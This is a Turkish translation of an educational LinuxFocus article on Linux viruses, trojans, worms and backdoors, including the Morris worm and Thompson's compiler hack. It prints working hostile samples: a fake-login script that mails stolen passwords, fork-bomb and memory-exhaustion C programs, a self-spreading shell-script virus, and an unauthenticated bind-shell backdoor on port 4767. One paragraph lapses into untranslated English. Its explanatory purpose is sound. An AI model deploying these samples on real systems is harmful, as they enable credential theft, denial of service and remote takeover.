|
|
Bu makalenin farklı dillerde bulunduğu adresler: English Castellano ChineseGB Deutsch Francais Italiano Nederlands Russian Turkce |
tarafından Christophe Blaess (homepage) Yazar hakkında: Christophe Blaeses bağımsız bir havacılık mühendisidir. Bir Linux meraklısıdır ve bir çok işini bu işletim sistemini kullanarak yapmaktadır. Linux yardım sayfalarının çevirisini içeren ve Linux Dokümantasyon Projesi adıyla yayınlanan çevirilere eşgüdüm sağlar. Türkçe'ye çeviri: Hüseyin Kaya <hkaya(at)be.itu.edu.tr> Gülşen Taşkın <gulsen(at)be.itu.edu.tr> Sevda Üsküplü <sevda(at)be.itu.edu.tr> D. Melih Narin <melih(at)be.itu.edu.tr> İçerik: |
Özet:
Bu makale ilk önce güvenlik üzerine yazıların yer aldığı
bir linux dergisinin Fransa özel sayısında yayınlandı. Editör,
yazarlar ve çevirmenler dostça LİnuxFocus dergisine bu özel sayıda
yeralan bütün makaleleri yayınlama hakkı verdiler. Dolayısıyla,
LinuxFocus dergisi bu makaleleri Türkçe'ye çevirir çevirmez
sizlere sunacak. Bu çalışma içersinde yeralan herkese teşekkürler.
Bu özet aynı kökene sahip tüm makaleler için yeniden oluşturulacak.
Bu makale Linux sisteminde saldırgan yazılımlardan kaynaklanabilecek iç güvenlik problemlerini yeniden gözden geçirir. Bu çeşit yazılımlar (virüsler, solucanlar ve Truva atları gibi) insan müdahalesi olmaksızın zarara neden olabilirler. Bİz bu konuda, çeşitli zayıflıklardan bahsederek ve bu bedelsiz yazılımların olumlu ve olumsuz yanları üzerinde durarak konuyu derinlemesine inceleyeceğiz.
Kullanıcı için genellikle kafa karıştırıcı olan, özellikle sık sık karşılaşılan çeşitli mekanizmalara dayanan dört tip belirli tehdit söz konusudur. Bunlar:
Bu saldırgan yazılımları sınıflandırmak her zaman bu kadar kolay olmayabilir. Örneğin, bazı gözlemciler tarafından virüs oldukları düşünülen fakat bazı gözlemciler tarafından da solucan oldukları düşünülen ve ne oldukları konusundaki son kararı karmaşık hale getiren programlar vardır. Hangi tehlikelerin Linux sistemine bir tehdit oluşturduğunu açıklamayı bu makalenin kapsamı olarak düşünmek temel değildir.
Bu dört sorun zaten Linux sisteminin altında bulunmaktadır genel inanışa karşı olarak, elbette, virüsler Linux işletim sisteminde DOS işletim sistemine göre çok daha az yayılma alanı bulabilmektedirler fakat mevcut tehlike ihmal edilmemelidir. Risklerin neler olduğuna bir göz atalım.
Potansiyel TehditlerVirüs, konuk programın özüne yüklenmiş, yeni bir çalıştırılabilir dosyaya nüfuz ederek kendi kendini çoğaltma yeteneğine sahip bir kod parçasıdır. Virüsler yetmişli yıllarda, o dönemin programcıları "core war" adı verilen oyunu oynarken ortaya çıkmıştır. Bu oyun, Bell AT&T laboratuvarlarından gelmektedir [MARSDEN 00]. Oyunun amacı, sınırlı bir bellek alanı içersinde küçük programların paralel bir şekilde koşturularak birbirlerini ortadan kaldırmalarını sağlamaktı. İşletim sistemi, yarışmacıları öldürme amacıyla karşılıklı saldırılara izin vererek programların bellek alanları arasında koruma sağlamadı. BÖylece, yarışmacıların bazıları olası en geniş bellek alanını '0' ile bombalayarak, bazıları da sürekli bir şekilde adres boşluklarına hareket ederek rakibin kodunu yeniden yazmayı ümit ediyorlardı ve bazen birkaçı işbirliği ile güçlü olan düşmanı elemeye çalışıyorlardı.
Oyun için uygulanan algoritmalar, özellikle varolan makinaların birçoğunda varolan emülatör boyunca çalıştırılan, "red code" (kırmızı kod) konusu ile ilgili yaratılan algoritmalar, makina diline çevrildi. Oyuna olan ilgi Life of Conway oyununa, fraktallara genetik algoritmalara duyulan coşku gibi daha fazla bilimsel bir meraktı.
Ancak, core war ile ilgili sonraki makaleler Scientific American [DEWDNEY 84] dergisinde yayınlandı, kaçınılmaz olan olmalıydı ve bazı insanlar ilk önce Apple bilgisayarlar ve daha sonra da MacIntosh ve PC'lerde özellikle disket boot kesimine ya da çalıştırılabilir dosyalara adanmış kod parçaları yazmaya başladılar.
MS DOS işletim sistemi biçimleri (formatları) iyi bilinen statik çalıştırılabilir dosyalar, bellek koruma eksikliği, dosya ulaşım izinlerinde güvenlik yokluğu, yığılmış yerleşik TSR programlarının kullanımı ile virüslerin çoğalması için bir tercih ortamıydı. Buna kullanıcıların aklının sınırını, disketler üzerindeki çalıştırılabilir programların dosyaların kökenine dikkat edilmeksizin alabildiğine değiştirilmesini de eklemeliyiz.
En basit haliyle, virüs bir uygulamayı başlatırken fazla olarak çalıştırılacak kod parçasıdır. Bu zaman içinde virüs henüz içine girilmemiş diğer çalıştırılabilir dosyaları arayacak, kendini bu dosyaların içine gömecek (büyük olasılıkla esas programı önlem olarak değiştirmeyecek) ve programdan çıkacaktır. Yeniden çalıştırılabilir dosyalar uygulamaya konulduğunda bu işlem süreci yeniden başlayacaktır.
Virüsler kendilerini otomatik olarak yinelemekte "weapon"'ların geniş gruplarından yarar sağlayabilirler. [LUDWIG 91] ve [LUDWIG 93]'in içinde DOS işletim sistemi için virüslerin tanımı, geçerli anti-virüs yazılımlarının ötesinde kalarak saklanmanın kodda oluşacak sürekli değişiklikler, sçkisiz şifreleme gibi üst düzey anlamlarını kullanarak detaylı bir şekilde vermektedir. Hatta genetik algoritma yöntemlerini kullanarak virüslerle karşılaşmak, onların yaşamlarını sürdürmelerini eniyilemek ve yeteneklerini yeniden oluşturmak olasıdır. Benzer bilgiler çok ünlü bir makale olan [SPAFFORD 94] makalesinden bulunabilir.
Fakat şunu aklımızda bulundurmalıyız ki; suni hayat deneyimlerinin ötesinde, virüsler yaygın bir zarara neden olabilirler. Küçük bir kodun çoklu yinelenmesinin prensibi sadece disk ve bellekteki boşluğun ziyanıdır. Virüsler, daha fazla zararlı olan mantıksal bombalar (truva atları konusunda incelenecek) gibi diğer varlıklar için bir destek -taşıma aracı- olarak kullanılırlar.
Kuşatılmış Truva için dini bir teklif olarak sunulmuş ve Yunan askerleriyle dolu kocaman bir tahtadan atı şehrin içine almak kötü bir fikirdi. Truva atı içine gizlice girmiş askerler gece olduğunda şehre içerden saldırmışlar ve böylece Yunanistan Truva Savaşını kazanmışlardır.
Ünlü "Truva atı" terimi bilgisayar güvenlik alanında öncelikli zararsız uygulamaları belirtmek için kullanılır. Virüslerde sözü edildiği gibi yıkıcı kodlar mantıksal bombalar içerenlerdir.
Mantıksal bomba çeşitli etkilere sahip, kasıtlı olarak zarar veren program parçalarıdır.
Mantıksal bomba içinde bulunduğu sistemi fiziksel olarak da yıkmaya çalışabilir. Bunun olasılığı oldukça azdır fakat bu türleri de bulunmaktadır. (CMOS bellek silinmesi, modemde anlık belleğin değiştirilmesi, yazıcıların, tarayıcıların ve hard diskin okuyucu kafalarındaki ayarlarına yapılan yıkıcı hareketler...)
Patlayıcılık özelliği ile devam edelim, sözgelimi bir mantıksal bomba harekete geçmek için tetiklenmeye ihtiyaç duysun. Aslına bakılacak olursa, Truva atlarını veya virüsleri kullanarak hemen yıkıcı birtakım işlere girişmek verimli değildir. Mantıksal bombayı yerleştirdikten sonra bir süe beklemek daha akılcı bir yaklaşımdır. Böyle yapmakla, eğer bir virus sözkonusu ise, başka sistemlere yayılma ihtimalini artırır; eger sözkonusu bir truva atı ise, kullanıcıların makinasında oluşan gariplikler için hemen yeni programdan süphe duymasını engellersiniz.
Diğer zarar verici hareketler gibi, başlama mekanizmasıda bir çok farklılıklar gösterebilir: yüklemeden sonra on gün bekleme, bir kullanıcı heabının silinmesi, klavya ve farenin 30 dakika için etkisizleştirilmesi, yazıcı kuyruklarının aşırı dolması gibi. Ve daha bir çok ihtimal. En yaygın Truva atları bugünlerde cok basmakalıp olarak görünse de ekran koruyucalardır. Bu programlar çok çekici bir gürüntünün arkasında farkedilmeden bir çok zararlar verebilirler, özellikle mantıksal bomba yüklemeden yanlızca bir saat sonra harekete geçecekse. Bu süre içinde kullanıcı çok büyük olasılıkla bilgisayarının başında olmayacaktır.
Meşhur bir diğer truva atı ise aşağıda görülen ve bir kullanıcı giriş ortamı hazırlayan ve kullanıcı adı ve şifrelerini programı çalıştıran kişinin e-ileti adresine gönderen küçük bir kabuk programıdır. Bu kabuk kullanılmayan bir konsolda çalışırsa o konsoldan giriş yapmaya çalışan kullanıcının şifresini öğrenir.
#! /bin/sh clear cat /etc/issue echo -n "login: " read login echo -n "Password: " stty -echo read passwd stty sane mail $USER <<- fin login: $login passwd: $passwd fin echo "Login incorrect" sleep 1 logout
Programın çalıştıktan sonra kapanması için exec
komutu ile başlatılması gerekiyor. Kurban "Login incorrect"
yazısını görünce şifresini yanlış girdiğini düşünecek ve normal
yollarla bir daha sisteme girmeyi deneyecektir. Bu kabuğun daha
gelişmiş sürümleri X11 tipi bağlantıları simule edebiliyor.
Böyle tuzaklara düşmemek için, bir konsoldan giriş yapmadan
önce yalancı bir kullanıcı adı ve şifre ile bir deneme yapmak
akılcı bir yaklaşım olacaktır (bu belli bir noktadan sonra
refleks haline gelecektir).
"Solucanlar" virüsler ile aynı prensipten gelir. Kendilerini kopyalama yöntemi ile çoğalmayı hedeflerler. Kendi özellikler olmamamsına karşın, bunlar mantıksal bombalar taşıyabilirler. Virüsler ile Solucanlar arasındaki en önemli fark, Solucanların virüsler gibi bir yayılma aracı olarak programları kullanmaması, bunun yerine ağ içinde kullanılan elektronik ileti gibi servisleri yayılma aracı olarak kullanmalarıdır.
Solucanların teknik seviyeleri biraz daha yüksektir; ağ servislerini sağlayan yazılımların açıklarını bularak kendilerini uzak makinaya kopyalarlar. En güzel örneği 1998 yılındaki "Internet Worm" adı verilen solucandır.
Internet Worm mantıksal bomba içermeyen gerçek bir solucan olmakla birlikte, etkileri beklenmedik şekilde çok yıkıcı olmuştu. Bu konu hakkında açıklayıcı bilgiyi [KEHOE 92] kaynağında, ayrıntıları [SPAFFORD 88] veya [EICHIN 89] kaynaklarında bulabilirsiniz. Teknik olmayan fakat oldukça çarpıcı bilgiler içeren ise [STOLL 89] adlı kaynakta bulabilirsiniz.
Kısaca anlatmak gerekirse bu program Cornell Üniversitesinde öğrenci olan Robert Morris Jr tarafından yazılmıştı. Bu kişi ağ protokollerinin güvenlik sorunlarıyle ilgili yazdığı bir makale ile zaten tanınıyordu [MORRIS 85]. NSA'nın bir kolu olan NCSC kurumunda bilgisayar güveliği ile sorumlu kişinin oğluydu. Program 1998 yılının Kasım ayının ikinci günü öğleden sonra hayat geçmişti ve Internet'e bağlı birçok sistemin durmasına yol açmıştı. Program birkaç aşamada çalışmıştı:
netstat
benzeri programları kullanıyordu.
/etc/passwd
),
böylece çok basit seçilmiş şifreleri tahmin ediyordu.
Bu ilk açık şifrelerin shadow adlı ayrı
bir dosyada tutulmasıyla daha sonra kapatıldı.~/.rhost
ve /etc/hosts.equiv
dosyalarını kullanarak
ulaşmaya çalışıyordu. Eger ulaşırsa rsh
komutunu kullanarak komşu bilgisayarda komutlar işletiyordu.
Böylelikle kendisini başka bir makinaya kopyalıyor ve döngü
böyle sürüpü gidiyordu.
fingerd
'buffer overflow' açığı.
(Güvenlik ile ilgili seri makalelere ir göz atın:
Avoiding security
holes when developing an application - Part 1, Avoiding security holes when
developing an application - Part 2: memory, stack and
functions, shellcode,
Avoiding security holes when developing an application - Part 3:
buffer overflows.)sendmail
adlı yazılımın bir özelliği
kullanılıyordu. Bu özelliğin normalde kullanılmaması
gerektiği halde sistem yöneticileri genellikle bunu
ihmal ediyordu.Belirtmek gerekir ki, bu solucan uzak bir bilgisayara komutlar gönderme imkanı bulduktan sonra kendisini o makinaya kopyalama işlemi oldukça karmaşıktı. Küçük bir C programının ilk önce taşınması, orada derlenmesi ve çalıştırılması gerekiyordu. Daha sonra bu program iki bilgisayar arasında bağlantı kuruyor ve solucanın taşınmasını sağlıyordu. Solucanın önceden derlenmiş çalıştırılabilir dosyaları bir çok platfrom için vardı (Vax ve Sun) ve test edilmişti. Ayrıca, solucan iz bırakmadan kendisini çok zekice saklıyordu.
Ne yazık ki, bilgisayarların tekrar ve tekrar ele geçirilmesini engelleyem mekanizma beklendiği gibi iyi işlemedi ve mantıksal bomba taşımayan Internet 88 solucanı yıkıcı etkisi gösterdi. Bunda iş yükü ağır bilgisayarların da bu solucandan etkilenmesinin büyük payı oldu (özellikle elektronik ileti taşınmasını sağlayan ve haberleşmeyi sağlayan bilgisayarlar gibi).
Bu solucanın yazarı bir süre için hapishaneye girdi.Solucanlara, çok karmaşık oldukları için, genellikle sıkça rast gelinmez. Solucanlar ünlü "ILoveYou" benzeri elektronik iletiler ile gönderilen virüsler ile kariştırılmamalıdır. Bu virüsler genellikle Basic ile yazılmış ileti açılınca çalışan basit makrolardır. Bunlar sadece bazı işletim sistemlerinde ve ileti okuyucu programların çok basit bit şekilde ayarlandığı sistemlerde çalışırlar. Bu programlar Truva atlarına daha çok benzerler çünkü kullanıcın bunların başlayabilmesi için bir iş yapması gerekir.
Arkakapılar Truva atları ile karşılaştırılabilir ama aynı değillerdir. Bir arkakapı üstün bir kullanıcıya bir yazılımı değiştirme imkanı verir. Oyunlarda sıkça kullanılan daha çok kaynak ve üst seviyelere geçmeye yarayan ve cheat codes denilen hilelere benzerler. Fakat bu bağlantı onayı (connection authentication) veya elektronik ileti benzeri uygulamalar için de geçerlidir, çünkü bu uygulamalar da üreticisinin belirlediği gizli bir geçişe olanak verebilir.
Bazı kolaylıklar sağlaması açısından, yazılımcılar
ürettikleri yazılımlar için küçük kapılar bırakabilirler.
Bazen bu birtakım kullanıcılar için öntanımlı şifreler olabilir
(system
, admin
,
superuser
, gibi). Bunlar genellikle belgeler içinde
yer almadıkları için yazılımcılar tarafından oldukları gibi
bırakılır.
"Wargame" adlı film içinde geçen ve sisteme giriş sağlayan değişik giriş kodlarını hatırlayın. Daha yakın geçmişten örnekler vermekte mümkün [THOMPSON 84]. Unix'in babalarından Ken Thompson'ın yıllar önce geliştirdiği gizli giriş sistemini açıklıyor:
/bin/login
uygulamasının içine birtakım küçük
kodlar yerleştirerek, önceden belirlediği bir şifreyle sisteme
/etc/passwd
dosyasını hiç kullanmadan giriş yapan
başka bir login
sürümü gelirtirir. Böylece bütün
sistemleri bu sürümle ziyaret eder.login.c
kaynak kodu Unix sistemlerinde mevcuttu ve herkes tarafından
tuzak içeren kod okunabiliyordu. Thompson oynanmamış bir
login.c
kodunu yine de tutuyordu.login.c
kodunu derleyip tuzak içeren kodu
silebiliyordu. Bu yüzden Thompson standart olan C derleyicisi
ile oynayarak birisinin login.c
kodunu derleğini
anladığı anda tuzak olan kodun derlenmesini sağladı. cc.c
açıktı ve herkes görebiliyor ve yeniden derleyebiliyordu.
Thompson yine derleyicinin oynanmamış halini tuttu
ama önceden derlediği derleyici oynanmış login.c
kodu yine ekler...Buna karşı ne yapılabilir? Aslında hiçbir şey! Yapılacak tek şey sistemi yeni baştan kurmak. Sistemi yeniden kurmadıktan sonra, işletim sistemine, derleyeciye kısacası hiçbirşeye güvenemezsiniz. Kaynak kodları tamamen elinizde olsa bile uygulamaların temiz olduğuna kesin emin olamazsınız.
Herhangi bir sistemin bazı ana risklerinden sözettik. Şimdi de serbest yazılım ve Linux üzerinde ki olası tehditlere bir göz atalım.
İlk önce, mantıksal bir tuzağın Linux makinası üzerinde çalıştırıldığında, sistem üzerinde ki etkilerini inceleyelim. Besbelli, bu durum kullanıcı haklarına ve istenilen etkiye bağlıdır.
Gizli bir dosyanın okunması yada sistem dosyasının herhangi bir tahribata uğraması durumunda, iki türlü durum söz konusudur. Eğer bomba, root birimi altında kendi kendine çalışırsa makina üzerinde ki bütün gücü ele geçirir. Buna her partisyonun silinmesi ve yukarıda sözü edilen hardisk üzerindeki olası tehlikeleri de ekleyebiliriz. Eğer bomba herhangi bir birim üzerinde uygulaniyorsa, hakkı olmayan bir kullanıcıdan daha az yikici olur. Sadece bu kullanıcıya ait verileri yok edecektir. Bu durumda, herkes kendine ait olan dosyalarını korumalıdır. Dikkatli bir sistem yöneticisi root olarak girdiğinde, bu hesap altında ki mantiksal tuzakların sisteme girme olasılığını azaltmak için birçok sorumluluğu vardır.
Linux sistemi özel veriye erişim ve hardisk erişiminde oldukça iyi bir korumaya sahiptir. Ancak saldıları birçok kaynak kullanarak yapılan saldırıları önleme konusunda oldukça hassastır. Örneğin, aşağıdaki C programını, normal bir kullanıcı olarak bile sisteme girdiğinizde durdurmak zordur. Eğer kullanıcı tarafından kullanılan işlemci sayısı sınırlanmadıysa, işlemci tablosundan herturlu giriş yokedilecek ve programı oldurmeyi deneyen herhangi bir bağlantı önlenecektir.
#include <signal.h> #include <unistd.h> int main (void) { int i; for (i = 0; i < NSIG; i ++) signal (i, SIG_IGN); while (1) fork (); }
Kullanıcıların işlemci kullanma sayısı üzerinde bir kısıt (
setrlimit()
ile sistem çağırma ve
ulimit
kabuk fonksiyonu) uygularsaniz,
bu tür programların ömrü
daha kısa olacaktır. Fakat, bunlar sadece sistemin
ulaşılmaz olduğu sürenin bazı aralıklarından sonra etkili olur.
Aynı bağlantıda, aşağıdaki program ulaşabildiği bütün belleği kullanılır ve döngüler, merkezi işlem birimleri çevrimlerini harcar. Böylece diğer işlemciler de tamamen harcanir.
#include <stdlib.h> #define LG 1024 int main (void) { char * buffer; while ((buffer = malloc (LG)) != NULL) memset (buffer, 0, LG); while (1) ; }
Genellikle, bu program en küçük çekirdekdeki sanal bellek yönetim mekanizması tarafından otomatik olarak yok edilir. Fakat bundan önce, daha fazla belleğe ihtiyaç duyan diğer işlemler hemen ardından çekirdek tarafından yok edilir (Örneğin, X11 uygulamaları ). Ayrıca, belleğe ihtiyaç duyan diğer bütün işlemciler de aynı şekilde olacaktır.
Ağ özelliklerini sıralamanın dışında tutmak oldukça basittir,
overloading the corresponding port with continued connection
requests. Çözüm oluşumdan kaçmaktır. Fakat bu oluşumlar genellikle
sistem yöneticileri tarafından uygulanmaz. Linux altında çok dikkatli
olmak gerekir. Hatta mantıksal bobma normal bir kullanıcı
tarafından gönderileliyorsa kendine ait olmayan dosyalara zarar
vermemese bile bu durum son derece rahatsızlık verici bır durumdur.
Aş servisinde ve sisteme kötü bir gerilim yüklemek için birkaç
fork()
, malloc()
and connect()
komutlarını birleştirerek bir program oluşturmak yeterli olacaktır.
Konu: Unix Virüsleri BiR UNIX ViRÜSÜ ALDINIZ Bu virüs birtakım kurallara göre işler. Eğer Lunix yada Unix kullanıyorsanız,lütfen bu iletiyi arkadaşınıza gönderiniz ve seçkisiz olarak bir kaç sistem dosyasına zarar veriniz. |
Yaygın bir fikire rağmen, virüsler Linux altında bir tehdit unsuru olabilirler. Linux altındaki bir virusun yayılmak için yararlı bir yer bulamayacağı da ayrı bir gerçektir. ilk olarak, bir makinanın phase of infesting ne bir göz atalım. Virüs kodu burada çalışmak zorundadır. Bunun anlamı başka bir sistemden bozulmuş dosyaların kopyalanmış olduğudur. Linux dünyasında yaygın uygulama, kullanıcıya bir uygulama sağlamak ve ona çalıştırılabilir dosyayı göndermek yerine URL adresinin nerede olduğunu göstermektir. Bu çabuk bir şekilde denetlenecek olan bir resmi bir yöreden gelen bir virus anlamına gelir. Bir kere bir makinaya virüs bulaştıysa, virüsün yayılabirliğini denetlemek için önceden derlebilen uygulamalar için dağıtık bir düzenek kullanılmalıdır. Gerçek şu ki, serbest yazılım dünyasında mantıksal bir bomba için, çalıştırılabilir dosyalar iyi bir iletişim aracı değildir.
Besbelli, yazma haklarına sahip olan kullanıcının dosyayı nerede çalıştırdığına bağlı olarak sadece bozuk bir uygulama dosyalara yayılabilir. Deneyimli bir sistem yöneticisi herhangi bir işlem için sadece root olarak Concerning the spreading within a machine, obviously a corrupt application only can spread to files for which the user running it, has writing rights. The wise administrator only working as root for operations really requiring privileges, is unlikely running a new software when connected under this identity. Apart from installing a Set-UID root application infected with a virus, the risk is then quite reduced. Normal bir kullanıcı bozulmuş bir dosyayı çalıştırdığında, virüs sadece bu kullanıya ait olan dosyalar üzerinde etkin olabilir.
Virüsler Unix bir sistem için çok uzun zamandir bir ütroyaydi. Bunun nedeni işlemcilerin farklılığı (esembler dilleri) ve önceden derlenebilen kodları sınırlayan kütüphanelerdir. Bugün, bu gerçek değildir ve GlibC 2.1 i386 bir işlemci için Linux da derlenebilen ELF dosyalarına etki eden bir virüs bir çok hedef bulabilir. Ayrıca, virüsler, onu çaliştıran bir anaç' a (host) bağlı bir dilde yazılabilirler. Örneğin, burada kabuk betiği için bir virüs olsun. Virüs, çalıştığı dizin altında bulunan bütün kabuk betiklerinin içine girmeyi denemektedir. Aynı betiğin bir kereden fazla bir zarara uğramasından kaçınmak için, virüs ikinci seferde bozulmuş yada aşılanmış yorumunun bulunduğu sırayı ihmal eder.
#! /bin/sh # infected ( tmp_fic=/tmp/$$ candidates=$(find . -type f -uid $UID -perm -0755) for fic in $candidates ; do exec < $fic # Let's try to read a first line, if ! read line ; then continue fi # and let's check it is a shell script. if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then continue fi # Let's read a second line. if ! read line ; then continue fi # Is the file already infected or vaccinated ? if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then continue fi # Otherwise we infect it: copy the virus body, head -33 $0 > $tmp_fic # and the original file. cat $fic >> $tmp_fic # Overwrite the original file. cat $tmp_fic > $fic done rm -f $tmp_fic ) 2>/dev/null &
Virüs kendini yada eylemşnş saklama durumunda değildir.
Beklenen şu ki, orjinal betik kendi işini yaparken virüs
arkaplanda işlemlerini yapar. Özellikle, find.
ile find /
değiştirme durumunda. Bu programın
basitliğine rağmen, onu kontrolünü elden kaybetmek son derece
kolaydır. Özellikle de sistem eğer isteğe göre birçok kabuk betikleri
içeriyorsa.
Tablo 1, Linux altında en iyi bilinen, virüsleri içermektedir. Bunların hepsi, dosya başlıkları ve kalan orjinal kodtan geriye doğru hareket etmesinden sonra, çalıştırılabilir ELF dosyalarını bozar. Aksinden söz edilmediği sürece, virüsler sistem dizinlerindeki potansiyel hedefleri tararlar. Bu tablodan, Lunix altındaki virüslerin , çok alarm vermemelerine rağmen,(zarar verici virüsler olana kadar) kayda değer olmayan virüsler olduğunu düşünebilirsiniz..
isim | Mantıksal Bomba | Notlar | |
Bliss | Görünürde aktif değil | Dosyanın otomatik arıtılamsı
--bliss-disinfect-files-please ile sağlanabilir.
|
|
Diesel | Etkisiz | ||
Kagob | Etkisiz | Zarar verici programı çalıştırmak için geçici bir dosya kullanır. | |
Satyr | Etkisiz | ||
Vit4096 | Etkisiz | Sadece geçerli dizinde ki dosyaları bozar. | |
Winter | Etkisiz | 341 bitlik bir virus kodudur. Sadece geçerli olan dizinde ki dosyaları bozar. | |
Winux | Etkisiz | Bu virüs iki farklı kod taşır ve ELF Linux dosyaları kadar ve Windows dosyalarına da zarar verir. Ancak, onun yayılmasını azaltan ve saklandığı yerden diğer partisyonlara ulaşmak olası değildir. | |
ZipWorm | Windows ve Linux üzerinde bulduğu sıkıştırılmış dosyaların içine "troll" dokumanı yerleştirir."troll"= isveç mitodolojisinde bir cin |
Zararsız bir virüs olan "Winux" , Windows yada Linux altında çalışmak için yayılabilir. Bu özelliği tehlikeli olmamasına rağmen yapabileceklerinin kanıtı olarak karşımıza çıkar . Bu tip yapılar bir bölümden (partition) başka bir bölüme sıçrayabilir , ayrışık bir ağı Samba ve benzeri sunucular kullanarak istila edebilir.
Eğer bölüme , virüs olan Windows sisteminden erişilirse, Linux koruma mekanizması etkisiz hale gelir . Aynı şekilde Linux altında alınan her önlem ; Windows bölümünden yapılan geri yüklemelerde (reboot) etkisiz kalır . Bu tip problemler iki işletim sistemi içeren her makinada görülür ve genel koruma düzeyi en güçsüz işletim sistemine göre kuruludur . Bu sorunun tek çözümü vardır , o da ; herhangi bir Windows uygulaması aracılığıyla Linux bölümüne erişmeyi engellemektir . Bu yaklaşım henüz fazla yaygınlaşmamıştır ve Linux makinalar için tehlike arz etmektedir .
Truva atlarıda en az virüsler kadar tehlikelidir ve kullanıcılar için endişe vericidir . Virüs tarafından taşınan Logical Bomb un aksine Truva atındaki geliştiricisi tarafından yerleştirilmiştir . Ücretsiz yazılım dünyasında ; ürün yazarından son kullanıcıya geçerken bir yada iki aracıdan geçer. Eğer bir Truva atı farkedilirse suçluyu bulmak zor değildir.
Bir uygulamanın kaynak koduna sahip olmak ve derlemek güvenli olmasını garanti etmez. Örneğin ; zaralı bir logicalbomb bir yapı dosyasına (./configure, en az 2000 satır uzunluğunda) kendini saklayabilir ve en son yükleme aşamasında aktif hale gelir .
Windows altındaki virüs ve truva atının bir önemli zararıda yardım sayfalarındaki (readme dosyaları) makrolarla beraber ortaya çıkar . Şimdilik Linux kullanıcılarının bundan korkması yersizdir çünkü bu tip makrolar Linux altında yorumlanamazlar .
Truva atlarının bir özelliğide zararsız olmasına rağmen kullanıcıyı oldukça güç durumda bırakmasıdır. Örneğin Usenet de sıkıştırılmış dosyalar kendi kendine büyür ve diski doldurur , bazı postscript dosyaları yorumlayıcıyı (interpreter) kitler ve CPU zamanını boşa kullanır . Bu tip örnekler zararsızdır . Tek yaptıkları kullanıcıyı çileden çıkartmak ve zamanından çalmaktır.
Kurtçuklar ağ sunucusunun zayıflıklarından istifade eder . Teorik olarak Internete bağlı workstation lardaki risk sunuc aracılığıyla sürekli bağlı olan sistemlere göre daha azdır. Bağlantı seçeneklerinin günden güne artması ( Kablo, DSL,T1,T3,...vs.) ve ağ servislerinin (HTTP,FTP,...vs.) kullanılması hızla herkes için tehlike oluşturmaktadır .
İsim | Zayıflıları | Notlar |
Lion (1i0n ) |
bind |
Sistem bilgisini Çin deki bir elektronik posta adresine gönderir. |
Ramen | lpr , nfs ,
wu-ftpd |
index.html dosyasını değiştirir. |
Adore (Red Worm) | bind , lpr , rpc ,
wu-ftpd |
Sisteme arka kapı yükler ,elektronik postayla Çin ve Amerik ya bilgi gönderir. İşlemlerin saklamak için ps modifiyeli versiyonunu yükler. |
Cheese | Lion gibi | Lion tarafından açılan arka kapıları bulur ve kaldırır. |
Kurtların yayılma zamanı sınırlıdır . Varlıklarını devam ettirebilmek için kendilerini bir sistemden diğerine kopyalamaları gerekir . Hedef uygulamayı hızla güncellemek yayılmasını önler .
Arka kapı problemi önemlidir, ücretsiz yazılımlarda bile , tabiki herkes kaynak kodunu okuyarak teorik olarak programın ne yaptığını anlayabilir . Fakat çok az insan internetten arşiv bilgilerini indirir . Örneğin aşağıdaki küçük program bile büyük ve tam bir arka kapı sağlar . Küçük boyutuyla kendini büyük bir uygulamaya rahatça saklayabilir . Program kitabımdaki pseudo-terminal mekanizması örneğinden alınmıştır . ([BLAESS 00]). Açıklama ve hata kontrol satırları kısa olması bakımından kaldırılmıştır. Program çalıştırıdığı zaman belitilen portta (varsayılan 4767) bir TCP/IP sunucusu açar ve her bağlantı isteğinde herhangi bir kontrol olmaksızın kabuğa erişir!!
#define _GNU_SOURCE 500 #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <termios.h> #include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> #define ADRESSE_BACKDOOR INADDR_ANY #define PORT_BACKDOOR 4767 int main (void) { int sock; int sockopt; struct sockaddr_in adresse; /* address */ socklen_t longueur; /* length */ int sock2; int pty_maitre; /* pty_master */ int pty_esclave; /* pty_slave */ char * nom_pty; /* name_pty */ struct termios termios; char * args [2] = { "/bin/sh", NULL }; fd_set set; char buffer [4096]; int n; sock = socket (AF_INET, SOCK_STREAM, 0); sockopt = 1; setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt)); memset (& adresse, 0, sizeof (struct sockaddr)); adresse . sin_family = AF_INET; adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR); adresse . sin_port = htons (PORT_BACKDOOR); if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse))) exit (1); listen (sock, 5); while (1) { longueur = sizeof (struct sockaddr_in); if ((sock2 = accept (sock, & adresse, & longueur)) < 0) continue; if (fork () == 0) break; close (sock2); } close (sock); if ((pty_maitre = getpt()) < 0) exit (1); grantpt (pty_maitre); unlockpt (pty_maitre); nom_pty = ptsname (pty_maitre); tcgetattr (STDIN_FILENO, & termios); if (fork () == 0) { /* Son: shell execution in the slave pseudo-TTY */ close (pty_maitre); setsid(); pty_esclave = open (nom_pty, O_RDWR); tcsetattr (pty_esclave, TCSANOW, & termios); dup2 (pty_esclave, STDIN_FILENO); dup2 (pty_esclave, STDOUT_FILENO); dup2 (pty_esclave, STDERR_FILENO); execv (args [0], args); exit (1); } /* Father: copy of the socket to the master pseudo-TTY and vice versa */ tcgetattr (pty_maitre, & termios); cfmakeraw (& termios); tcsetattr (pty_maitre, TCSANOW, & termios); while (1) { FD_ZERO (& set); FD_SET (sock2, & set); FD_SET (pty_maitre, & set); if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1, & set, NULL, NULL, NULL) < 0) break; if (FD_ISSET (sock2, &set)) { if ((n = read (sock2, buffer, 4096)) < 0) break; write (pty_maitre, buffer, n); } if (FD_ISSET (pty_maitre, &set)) { if ((n = read (pty_maitre, buffer, 4096)) < 0) break; write (sock2, buffer, n); } } return (0); }
